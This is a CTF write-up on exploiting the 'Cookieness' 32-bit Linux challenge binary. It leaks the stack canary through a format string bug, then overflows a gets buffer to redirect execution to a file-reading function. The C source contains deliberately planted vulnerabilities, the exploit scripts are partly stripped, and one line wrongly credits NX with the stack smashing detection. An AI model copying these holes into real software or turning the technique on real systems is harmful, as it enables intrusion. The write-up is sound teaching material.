In this article, the exploitation of a vulnerable binary is carried out, using a CTF (Capture The Flag) challenge designed specifically for this purpose. “Cookieness” is a challenge of the pwn category or binary exploitation that consists of reading a file called “flag.txt” through a format string vulnerability and a stack buffer overflow on a Linux system. It was presented at the CTF Universitario de Madrid by the Seek N Hack association.
Source code
If the reader wants to solve this challenge on his machine, he should create a file, named “flag.txt” with any content, and compile the following code with the command: gcc -m32 main.c -o cookieness -fstack-protector -no-pie. The source code is also available in the following repository:
- https://github.com/NtMerk/cookieness
#include #include #includechar * fileName = “flag.txt”; char * signature = “Merk was here.”;// Unused function to print the first 100 // chars of a file passed as an argument void print_file(char * name) { char flag[100];FILE * fp; fp = fopen(name, “r”);// If the file can be opened and read, print its contents if (fgets(flag, 100, fp) != NULL) printf(“Mostrando contenido de %s: %s”, name, flag); else printf(“Fichero %s no encontrado.”, name); }void welcome() { // Ask user for input printf(“%s”, “Login: “);// Get user input char strUser[20]; fgets(strUser, 20, stdin);// Print welcome message, followed by a printf // with a format string vulnerability printf(“%s”, “Bienvenido, “); printf(strUser);// Get user input via vulnerable gets function puts(“\nPuedes leer flag.txt?”); gets(strUser); }int main(int argc, char * argv[]) { // Vulnerable function welcome(); return 0; } |
Recognition
A first glance shows us that it is a 32-bit binary, dynamically linked and not stripped. This means that it has been compiled with symbols, so we will be able to read the names of the functions implemented in the code when we dig deeper, among other things.
└─$ file cookieness cookieness: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=3a32702afe6d664b62c9d 806d496072435a557e8, for GNU/Linux 3.2.0, not stripped |
If we run strings on the binary, we’ll get a hint. The string flag.txt seems to be our target. Other strings referring to the functionality of the binary can also be read.
└─$ strings cookieness … flag.txt Merk was here. Mostrando contenido de %s: %s Fichero %s no encontrado. Login: Bienvenido, Puedes leer flag.txt? … |
By loading the binary with gdb and running checksec, we can check the type of protections that the binary has enabled.
- CANARIO/COOKIE
- A Canary or Cookie is a random value that is generated at each execution as protection against stack buffer overflows. Before terminating any function and reaching a “ret” statement, it checks that the value has not changed or been corrupted. This means that in order to overwrite EIP by means of a stack buffer overflow, we will need to know the value of the cookie in each execution.
- NX (No eXecute)/DEP
- NX or DEP consists of a protection that requires that certain areas in memory are not executable. In our case, we won’t be able to execute our shellcode on the stack directly.
gdb-peda$ checksec
CANARY : ENABLED |
Running the binary we can see that we have two entries, the first of which is reflected by the console.
└─$ ./cookieness Login: test1 Bienvenido, test1Puedes leer flag.txt? test2 |
Carrying out more tests we can see that the first entry has a format string vulnerability, and to the second we introduce a large number of characters, it turns out that it is vulnerable to a buffer overflow. However, we overwrite the cookie and get a stack smashing detected, as the NX protection has detected our exploit attempt.
└─$ ./cookieness Login: %x Bienvenido, 804a065Puedes leer flag.txt? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: terminated zsh: IOT instruction ./cookieness |
Finally, since the binary is not stripped we can look at the names of the functions.
gdb-peda$ info functions All defined functions:Non-debugging symbols: 0x08049000 _init … 0x080491a6 print_file 0x08049243 welcome 0x080492f3 main … 0x08049334 _fini |
The most interesting functions are print_file, welcome and main. Analyzing the print_file function with any decompiler reveals that it is used to read the contents of a file passed as the only argument. Note that this function is never called in the binary.
unsigned int __cdecl print_file(const char *a1) { FILE *stream; // ST24_4 char s; // [esp+18h] [ebp-70h] unsigned int v4; // [esp+7Ch] [ebp-Ch]v4 = __readgsdword(0x14u); stream = fopen(a1, (const char *)&unk_804A020); if ( fgets(&s, 100, stream) ) printf(“Mostrando contenido de %s: %s”, a1, &s); else printf(“Fichero %s no encontrado.”, a1); return v4 – __readgsdword(0x14u); } |
Explotando el binario
Taking the above into account, one way to solve the challenge is to:
- Read the CANARY or COOKIE of the welcome function using the format string vulnerability.
- Induce a stack buffer overflow using the newly obtained CANARY.
- Redirect EIP to the print_file function by placing a pointer to txt on the stack, since when we executed strings, we saw that it existed.
The vulnerable printf that allows us to read memory from the stack is located at this address:
0x080492b3 <+112> call 0x8049094 <printf@plt> |
So we will place a breakpoint. We will execute the binary until the breakpoint, and we will check where the CANARY is in order to read it.
gdb-peda$ b * 0x080492b3 Breakpoint 1 at 0x80492b3gdb-peda$ run Starting program: /home/merk/****/cookieness [Thread debugging using libthread_db enabled] Using host libthread_db library “/lib/x86_64-linux-gnu/libthread_db.so.1”. Login: testBreakpoint 1, 0x080492b3 in welcome () |
If we look at the end of the welcome function, we can see how the CANARY is compared. We’ll see what comes out of [ebp-0xc].
0x080492dd <+154>: mov eax,DWORD PTR [ebp-0xc] <— aquí 0x080492e0 <+157>: sub eax,DWORD PTR gs:0x14 0x080492e7 <+164>: je 0x80492ee <welcome+171> 0x080492e9 <+166>: call 0x8049320 <__stack_chk_fail_local> |
Then we check what ESP position the CANARY is in. It is 11 DWORDS away, and we will see that normally the last byte is “00
gdb-peda$ x/x $ebp-0xc 0xffffcdbc: 0xe4a1a300 <— los CANARY siempre terminan en 00 gdb-peda$ x/20x $esp 0xffffcd90: 0xffffcda8 0x0804a065 0xf7e21620 0x0804924f 0xffffcda0: 0xf7fbf4a0 0xf7fd7a6c 0x74736574 0xf7fb000a 0xffffcdb0: 0xffffcdf0 0xf7fbf66c 0xf7fbfb30 0xe4a1a300 <— aquí 0xffffcdc0: 0x00000001 0xf7e20ff4 0xffffcdd8 0x08049308 0xffffcdd0: 0xffffd09b 0x00000070 0xf7ffd020 0xf7c213b5 |
Therefore, if we place the string “%11$x” in the first entry of the binary, we will print the CANARY. In this case, the “11$” indicates that we want to print the eleventh value of the stack, and the “x” indicates that we want to print it in hexadecimal.
└─$ ./cookieness Login: %11$x Bienvenido, 1e66b800Puedes leer flag.txt? |
Now we can try to overwrite it on the second input, and crash the process with arbitrary values. We need to know how far away the CANARY is from what we override once called the gets function. To do this, we will use pattern from gdb-peda and see what offset we overwrite the CANARY with.
gdb-peda$ b * 0x080492e0 <— en esta dirección se comprueba el CANARY Breakpoint 1 at 0x80492e0gdb-peda$ pattern create 50 ‘AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA’gdb-peda$ run Starting program: /home/merk/****/cookieness Login: test Bienvenido, testPuedes leer flag.txt? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA[——————————-registers——————————–] EAX: 0x41412d41 (‘A-AA’) <— EAX contenía el CANARY, que hemos sobrescrito …gdb-peda$ pattern offset 0x41412d41 1094790465 found at offset: 20 |
We already know that the CANARY must be overwritten at offset 20. Mounting the following script, we will see that we have overwritten the CANARY and that we can redirect the program.
from pwn import *
# run the process gdb.attach(p, ”’ break welcome ”’) # get the 11th stack variable (the canary/cookie) # read the cookie from the abused string format vulnerability # build the payload # send the payload |
Running it, we get a SIGSEGV, correctly redirecting to our arbitrary memory address.
Stopped reason: SIGSEGV 0x42424242 in ?? () |
We use pattern again to check the distance from the CANARY to the EIP and we get that it is another 12 bytes ahead (I don’t show it because it’s a matter of repeating the process). Now that we can modify EIP to our liking, all we have to do is point to the print_file function, and pass a pointer to the string flag.txt on the stack.
gdb-peda$ break main Breakpoint 1 at 0x80492f6gdb-peda$ rungdb-peda$ find flag.txt Searching for ‘flag.txt’ in: None ranges Found 4 results, display max 4 items: cookieness : 0x804a008 (“flag.txt”) cookieness : 0x804a07f (“flag.txt?”) cookieness : 0x804b008 (“flag.txt”) cookieness : 0x804b07f (“flag.txt?”) |
We can use any of the two that do not have a “?” in the end. And it will only remain to build the final script.
from pwn import *
print_file = 0x080491a6 # run the process # get the 11th stack variable (the canary/cookie) # read the cookie from the abused string format vulnerability # build the payload # send the payload # jackpot p.close() |
And we would get the contents of the flag.txt file.
└─$ python3 exploit.py [+] Starting local process ‘./cookieness’: pid 2417 Cookie = 0x76d0fc00 [+] Receiving all data: Done (81B) [*] Stopped process ‘./cookieness’ (pid 2417)Puedes leer flag.txt? Mostrando contenido de flag.txt: SNH{this_is_a_test_flag} |
Conclusions
This article has bypassed the stack protection measure CANARIES or COOKIES in Linux binaries using a format string vulnerability. Once evaded, a stack buffer overflow has been used to redirect program execution and obtain the contents of a file on the target system.
Marcos González Sanz, Cybersecurity Consultant at Cipherbit-Grupo Oesía